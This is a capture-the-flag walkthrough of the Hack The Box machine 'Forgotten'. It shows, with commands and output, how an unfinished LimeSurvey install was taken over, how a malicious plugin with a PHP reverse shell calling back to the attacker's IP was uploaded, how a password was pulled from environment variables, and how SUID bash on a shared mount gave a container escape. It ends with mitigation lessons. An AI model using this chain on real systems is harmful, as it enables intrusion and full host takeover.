HTB Forgotten CTF Writeup
Complete walkthrough of HTB Forgotten, an Easy difficulty Linux machine featuring LimeSurvey exploitation, malicious plugin upload for RCE, and container escape via shared mount points.
HTB Forgotten CTF Writeup
Summary
This walkthrough demonstrates a complete compromise of the HTB Forgotten machine, progressing from discovering an incomplete LimeSurvey installation through achieving remote code execution via malicious plugin upload, and ultimately escaping a Docker container by exploiting shared mount points to gain root access on the host system. The attack chain showcases how seemingly minor misconfigurations in application deployment and container isolation can cascade into full system compromise.
Web Server Discovery and Enumeration
Initial Web Server Assessment
When I first accessed the web server, I was immediately greeted with a 403 Forbidden error. This HTTP status code indicates that while the server understood my request, it was refusing to authorize access to the resource. This is different from a 404 Not Found error, which would suggest the resource doesn’t exist at all.
The 403 response tells us that the web server is actively running and configured, but the default directory either has directory listing disabled or contains no default index file like index.html or index.php.
Directory Enumeration Strategy
Since direct access was blocked, I needed to discover what directories and files might exist on the server. This is where directory fuzzing comes into play. I used ffuf (Fuzz Faster U Fool), a high-performance web fuzzing tool that systematically tries different paths by substituting wordlist entries into a URL template.
The command I used was:
1
ffuf -u http://10.129.108.231/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt
Let me break down what this command does. The -u parameter specifies the target URL with the keyword “FUZZ” acting as a placeholder that ffuf will replace with each word from the wordlist. The -w parameter points to a comprehensive wordlist from SecLists, a collection of wordlists commonly used in penetration testing. The raft-large-words.txt wordlist contains thousands of common directory and file names based on real-world web applications, making it excellent for discovering hidden content.
The fuzzing process returned several results:
1
2
3
4
5
6
7
.html [Status: 403, Size: 279, Words: 20, Lines: 10]
.htm [Status: 403, Size: 279, Words: 20, Lines: 10]
survey [Status: 301, Size: 317, Words: 20, Lines: 10]
. [Status: 403, Size: 279, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10]
.htc [Status: 403, Size: 279, Words: 20, Lines: 10]
.html_var_DE [Status: 403, Size: 279, Words: 20, Lines: 10]
Most of these results returned 403 status codes, which are false positives for our purposes. However, one entry stands out: the /survey path returned a 301 status code. This HTTP redirect response indicates that the resource has permanently moved to a new location, and the server is telling our browser to follow the redirect. This is significant because it suggests an actual, accessible directory rather than a blocked resource.
Discovering the Incomplete Installation
When I navigated to /survey in my browser, I encountered something unexpected and quite revealing: an incomplete LimeSurvey installation screen.
LimeSurvey is a popular open-source survey application used by organizations to create and manage online questionnaires. What I found was the installation wizard, which should only be accessible during the initial setup process. In a properly deployed application, this installation interface should be removed or secured after setup is complete. The presence of this screen suggests one of two scenarios: either the administrator genuinely forgot to complete the installation, or they completed it but failed to properly secure or remove the installation files.
This is a critical security finding because the installation wizard often has elevated privileges and can make significant changes to the application’s configuration, including database settings and administrator accounts.
Exploiting the Installation Process
Understanding the Security Implications
The incomplete installation presented an interesting opportunity. By completing the installation myself, I could potentially create my own administrator account and gain full control over the LimeSurvey application. However, to do this, I needed to provide database credentials that the application could use to store its data.
Rather than trying to guess the existing database credentials on the target machine, I took a different approach: I would set up my own MariaDB database server on my attack machine and configure LimeSurvey to use it. This technique works because during installation, LimeSurvey needs to verify that it can connect to the specified database. As long as my database is accessible from the target machine, the application will accept it.
Setting Up the Attacker-Controlled Database
I started a MariaDB server on my local machine. MariaDB is a community-developed fork of MySQL, maintaining compatibility with MySQL while offering improved performance and additional features. For our purposes, it functions identically to MySQL.
First, I created a new database called “pwn” to hold the LimeSurvey data:
1
2
MariaDB [(none)]> create database pwn;
Query OK, 1 row affected (0.001 sec)
Next, I needed to create a user account that LimeSurvey could use to access this database. The important detail here is the ‘@%’ part, which means “from any host.” This allows the target machine to connect to my database remotely:
1
2
MariaDB [(none)]> create user 'hacker'@'%' identified by 'hacker';
Query OK, 0 rows affected (0.009 sec)
Then I granted this user full privileges on the pwn database:
1
2
MariaDB [(none)]> grant all privileges on pwn.* to 'hacker'@'%';
Query OK, 0 rows affected (0.004 sec)
Finally, I flushed the privilege tables to ensure these changes took effect immediately:
1
2
MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.001 sec)
Configuring Remote Access
By default, MariaDB only listens on localhost (127.0.0.1) for security reasons, preventing remote connections. To allow the target machine to connect to my database, I needed to modify the MariaDB configuration file to bind to all network interfaces.
I edited /etc/mysql/my.cnf and added the bind-address directive:
1
2
3
4
5
6
7
8
9
10
11
12
cat /etc/mysql/my.cnf
<SNIP>
[client-server]
socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[mysqld]
bind-address = 0.0.0.0
The 0.0.0.0 address is special—it tells the service to listen on all available network interfaces, making it accessible from other machines on the network. After restarting the MariaDB service to apply this change, my database was ready to accept remote connections from the target machine.
Completing the Installation
With my database configured and accessible, I proceeded through the LimeSurvey installation wizard, providing my database credentials:
The installation process connected to my MariaDB server, created the necessary tables, and set up the application. Crucially, the wizard also prompted me to create an administrative user account:
This gave me legitimate administrative access to the LimeSurvey application, bypassing any need for authentication bypass or brute force attacks. From a defensive perspective, this highlights why installation interfaces must be properly secured or removed after deployment.
Achieving Remote Code Execution
Researching LimeSurvey Exploitation
With administrative access secured, my next objective was to achieve remote code execution on the server. I researched known vulnerabilities and exploitation techniques for LimeSurvey and discovered a GitHub repository detailing an RCE vulnerability via malicious plugin upload: https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE
The exploitation technique leverages the fact that LimeSurvey allows administrators to upload and install plugins to extend the application’s functionality. However, if the application doesn’t properly validate uploaded plugins, an attacker can upload a malicious PHP file disguised as a plugin. When the server processes this plugin, it will execute the embedded PHP code, giving us command execution on the server.
Crafting the Malicious Plugin
I cloned the exploit repository to my local machine and began customizing it for this specific target. The plugin structure needed to appear legitimate to pass LimeSurvey’s basic validation checks while containing our malicious payload.
First, I modified the config.xml file, which defines the plugin’s metadata. I added version 6.0 to the compatibility list to match the major version of LimeSurvey installed on the target:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>bsec</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>bsec</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>6.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
This XML file makes the plugin appear legitimate by providing proper metadata and declaring compatibility with multiple LimeSurvey versions. The application checks this file during plugin upload to verify basic compatibility requirements.
Next, I customized the actual malicious payload in php-rev.php. This file contains a PHP reverse shell that will connect back to my attack machine when executed. I modified the IP address and port to match my setup:
1
2
3
4
5
6
7
8
9
10
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.224'; // My attack machine's IP
$port = 1234; // The port I'll listen on
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
The reverse shell works by opening a network connection from the target server back to my machine. This is the opposite of a normal connection flow, where the client initiates the connection to the server. Reverse shells are commonly used in penetration testing because they can often bypass firewall rules that block incoming connections but allow outgoing ones.
Uploading and Triggering the Payload
I logged into the LimeSurvey administration panel using the credentials I created during installation and navigated to the plugin management section. The interface allowed me to upload my malicious plugin as a ZIP file:
Once uploaded, the plugin files were extracted to the server’s plugin directory. The critical insight here is understanding where these files end up. LimeSurvey stores uploaded plugins in a predictable location: /survey/upload/plugins/[plugin-name]/. Knowing this path structure allows us to directly access our uploaded PHP file.
Before triggering the payload, I set up a netcat listener on my attack machine to catch the incoming reverse shell connection:
1
2
nc -lvnp 1234
listening on [any] 1234 ...
The flags here mean: -l for listen mode, -v for verbose output, -n to skip DNS resolution (faster), and -p 1234 to specify the port number.
To trigger the reverse shell, I simply accessed the uploaded PHP file via my browser using curl:
1
curl http://10.129.108.231/survey/upload/plugins/bsec/php-rev.php
The moment the server processed this PHP file, it executed the reverse shell code, and I received a connection on my netcat listener:
1
2
3
4
5
6
7
connect to [10.10.14.224] from (UNKNOWN) [10.129.108.231] 41244
Linux efaa6f5097ed 6.8.0-1033-aws #35~22.04.1-Ubuntu SMP Wed Jul 23 17:51:00 UTC 2025 x86_64 GNU/Linux
11:45:35 up 1:17, 0 users, load average: 0.03, 0.04, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
$
Success! I now had command execution as the user limesvc. Notice the hostname in the banner: efaa6f5097ed. This random-looking string is characteristic of Docker container hostnames, giving me an early indication that I might be inside a container rather than on the host system directly.
Shell Stabilization
The initial shell was quite limited—it couldn’t handle job control, tab completion didn’t work, and certain commands would break it. To improve usability, I stabilized the shell using the script command. This utility creates a pseudo-TTY, giving us a more interactive and robust shell environment:
1
/usr/bin/script -qc /bin/bash /dev/null
The -q flag runs in quiet mode, -c /bin/bash specifies we want to run bash, and redirecting to /dev/null prevents logging. This technique is particularly useful when Python isn’t available, as many pentester scripts rely on Python’s pty module for shell stabilization.
Credential Discovery and Container Analysis
Finding Credentials in Environment Variables
With a working shell inside the container, I began searching for ways to escalate privileges or move laterally. One often-overlooked source of sensitive information is environment variables. Developers sometimes store credentials or configuration data in environment variables for convenience, but this practice can inadvertently expose secrets to anyone who gains access to the system.
I examined the environment variables and discovered a clear-text password:
The credentials were:
1
2
limesvc
5W5HN4K4GCXf9E
This password discovery was significant for two reasons. First, it allowed me to authenticate as the limesvc user properly, potentially giving access to additional resources. Second, it demonstrated a common security anti-pattern: storing passwords in environment variables. While environment variables are convenient for configuration management, they’re accessible to any process running under the same user and are often logged or exposed in various ways.
Establishing SSH Access
With valid credentials in hand, I attempted to authenticate via SSH to see if the password was reused across services:
1
2
3
4
5
6
7
8
9
10
11
ssh [email protected]
The authenticity of host '10.129.108.231 (10.129.108.231)' can't be established.
ED25519 key fingerprint is SHA256:Dgu3MKOg2XUbjInyeAgQbBsHXIBePlc4jLIgssUKTt0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.108.231' (ED25519) to the list of known hosts.
([email protected]) Password:
<SNIP>
limesvc@forgotten:~$
The SSH connection succeeded, and interestingly, I landed on a host called “forgotten” rather than the container hostname I saw earlier. This confirmed my suspicion about the container environment. The web application is running inside a Docker container, but SSH is a host-level service, so these credentials gave me access to the actual Docker host system.
Privilege Escalation Within the Container
Analyzing Sudo Permissions
Back in the container shell (accessed through the reverse shell), I investigated what privileges the limesvc user had. The sudo command with the -l flag lists all commands the current user can run with elevated privileges:
1
2
3
4
5
6
echo 5W5HN4K4GCXf9E | sudo -S -l
Matching Defaults entries for limesvc on efaa6f5097ed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
This output reveals a critical security misconfiguration. The (ALL : ALL) ALL entry means limesvc can run any command as any user without restrictions. This essentially makes limesvc equivalent to root within the container environment. The -S flag in my command allows reading the password from stdin rather than prompting interactively, which is useful in shell scripts and automated processes.
Establishing Privileged Access in the Container
With unrestricted sudo access, I could easily become root, but I wanted to create a more persistent backdoor mechanism. I decided to add the SUID bit to the bash binary. The SUID (Set User ID) bit is a special permission that causes a program to execute with the privileges of the file owner rather than the user running it.
1
echo 5W5HN4K4GCXf9E | sudo -S chmod +s /bin/bash
The +s flag adds the SUID bit. Now, when anyone runs this bash binary with the -p flag (which preserves the SUID privileges), they’ll get a shell running as root:
1
2
3
4
/bin/bash -p
id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),27(sudo),2000(limesvc)
Notice the output: while the real user ID (uid) remains 2000 (limesvc), the effective user ID (euid) is 0 (root). The effective UID is what the system uses for permission checks, so despite running as limesvc, I now have root-level permissions within the container.
Container Escape via Shared Mount Points
Discovering Unusual Mount Points
Having root privileges in the container was useful, but my ultimate goal was to escape the container and gain access to the underlying host system. Containers are supposed to provide isolation, but misconfigurations can sometimes allow escapes.
I ran linpeas, an automated Linux privilege escalation enumeration script, to identify potential escape vectors. Among the findings were several unusual mount points:
1
2
3
4
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /var/www/html/survey type ext4 (rw,relatime,discard,errors=remount-ro)
The first three mounts are standard Docker bind mounts that allow the container to access specific host files for network configuration. However, the fourth entry is highly suspicious: /var/www/html/survey is mounted from the host filesystem. This means that directory is shared between the container and the host—any changes made in the container will be reflected on the host, and vice versa.
This type of mount is often used in development environments to allow developers to edit code on their host machine and have changes immediately reflected in the running container. However, it creates a significant security risk if an attacker gains access to the container.
Testing the Shared Mount Hypothesis
To verify that this mount was indeed shared with the host, I created a test file inside the container at the mount point:
1
2
cd /var/www/html/survey
touch test
Then, from my SSH session on the host machine, I searched for this test file:
1
2
3
4
5
6
7
8
find / -type f -name test 2>/dev/null
/usr/bin/test
/snap/core20/2599/usr/bin/test
/snap/core20/2015/usr/bin/test
/snap/core22/2045/usr/bin/test
/snap/core18/2934/usr/bin/test
/snap/core18/2855/usr/bin/test
/opt/limesurvey/test
Perfect! The file appeared at /opt/limesurvey/test on the host. This confirmed that /var/www/html/survey in the container maps to /opt/limesurvey/ on the host. More importantly, when I checked the file ownership:
1
2
ls -la /opt/limesurvey/test
-rw-rw-rw- 1 root root 0 Sep 22 12:23 test
The file was owned by root on the host! This happens because I created it as root in the container (using the SUID bash), and the ownership was preserved when the file appeared on the host filesystem.
Exploiting SUID for Container Escape
This shared mount point with preserved ownership gave me everything I needed to escape the container. The exploitation technique involves creating a SUID binary in the container that will appear on the host with the same permissions. Since I’m root in the container, I can create SUID files owned by root. When these files appear on the host, they’ll be SUID root binaries that the unprivileged limesvc user can execute.
From my root shell in the container, I copied bash to the shared mount point and set the SUID bit:
1
2
bash-5.1# cp /bin/bash .
bash-5.1# chmod +s bash
The chmod +s command sets both the SUID bit (execute as owner) and SGID bit (execute as group owner) on the file. Now bash would execute with root privileges regardless of who ran it.
Achieving Root on the Host
Back in my SSH session on the host as the unprivileged limesvc user, I navigated to where the SUID bash appeared:
1
2
3
limesvc@forgotten:/opt/limesurvey$ ./bash -p
bash-5.1# id
uid=1000(limesvc) gid=1000(limesvc) euid=0(root) egid=0(root) groups=0(root),1000(limesvc)
Success! By running the SUID bash with the -p flag (which prevents bash from dropping privileges), I obtained an effective UID of 0, giving me root access on the host system. I could now read the root flag and had complete control over the machine.
Security Lessons and Mitigations
This CTF challenge demonstrates several critical security principles and common misconfigurations:
Incomplete Installation Cleanup: The exposed LimeSurvey installation interface should have been removed or secured after deployment. Installation wizards should never be accessible in production environments, as they often have elevated privileges and can reconfigure the entire application.
Plugin Upload Validation: The ability to upload and execute arbitrary PHP code through the plugin system represents a critical security flaw. Applications should validate uploaded files rigorously, checking file types, scanning for malicious code, and ideally running uploaded plugins in sandboxed environments with limited permissions.
Credential Storage in Environment Variables: Storing passwords in environment variables is a security anti-pattern. While convenient, environment variables are visible to all processes running under the same user and can be logged or exposed in various ways. Secrets should be stored in dedicated secret management systems with proper access controls and encryption.
Overly Permissive Sudo Configuration: Granting unrestricted sudo access (ALL : ALL) ALL to a service account defeats the purpose of privilege separation. Sudo permissions should follow the principle of least privilege, granting only the specific elevated commands necessary for the user’s legitimate functions.
Shared Container Mounts with Write Access: Mounting host directories into containers with write access creates significant security risks. If an attacker compromises the container, they can modify files on the host filesystem. When shared mounts are necessary, they should use read-only mounts when possible, and write-accessible mounts should be carefully scoped to non-sensitive directories.
SUID Preservation Across Mount Points: The fact that SUID permissions created in the container were honored on the host filesystem enabled the container escape. Host systems should consider using mount options like nosuid on container mount points to prevent SUID binaries from working, though this may break legitimate container functionality.
Container Security Boundaries: This challenge illustrates that containers are not a complete security boundary. While they provide process isolation, shared resources like mount points can create escape paths. Container security requires defense in depth: proper image security, runtime security monitoring, limited capabilities, and careful configuration of mounts and volumes.
Defense in Depth: The complete compromise required multiple security failures in sequence: exposed installation, malicious plugin upload, credential exposure, overly permissive sudo, and misconfigured container mounts. Addressing any single issue in this chain would have significantly complicated or prevented the full compromise, highlighting the importance of layered security controls.
References
- LimeSurvey RCE via Plugin Upload: https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE
- Docker Security Best Practices: https://docs.docker.com/engine/security/
- Understanding Linux SUID: https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/





